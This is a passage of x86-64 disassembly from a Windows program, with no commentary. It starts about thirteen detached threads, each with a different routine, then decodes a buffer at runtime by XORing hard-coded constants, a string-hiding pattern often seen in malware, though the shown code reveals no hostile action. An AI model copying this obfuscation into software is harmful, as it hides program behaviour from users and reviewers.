movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140040a00
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x14003ae20]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edfca
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edfbe
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edfbe
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x14003be40]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edfae
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edfa2
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edfa2
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x14001e080]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edf92
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edf86
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edf86
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x1400281f0]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edf76
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edf6a
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edf6a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x14002edf0]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edf5a
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edf4e
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edf4e
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x140034a90]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edf3e
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edf32
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edf32
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x140039ff0]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edf22
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edf16
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edf16
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x14002dfa0]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edf06
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edefa
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edefa
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x140035ab0]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edeea
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edede
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edede
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x140026890]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edece
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edec2
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edec2
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x140025ae0]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400edeb2
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400edea6
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400edea6
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x140036c30]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400ede96
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400ede8a
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400ede8a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
mov ecx, 8
call fcn.14014ccc8
lea rcx, [0x140038c90]
mov qword [rax], rcx
mov qword [rbp], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140039fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400ede7a
mov qword [rbp], r13
cmp dword [rbp + 0x68], 0
je 0x1400ede6e
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400ede6e
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x60], xmm0
movabs rax, 0xb7e38ca692b7e1b2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x323bca7d158b03ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x3e6f6e02a3f7c2e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xde5a9d99c9e312d0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x91803093b283e82d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rcx, 0x3e490262c74b326a
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x918043f7d3e69a45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmm2, xmmword [rbp + 0x80]
vxorps xmm2, xmm2, xmmword [rbp + 0x40]
vmovdqa xmmword [rbp + 0x80], xmm2
lea rcx, [rbp + 0x60]
vzeroupper
call fcn.140040a00
mov al, 1
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3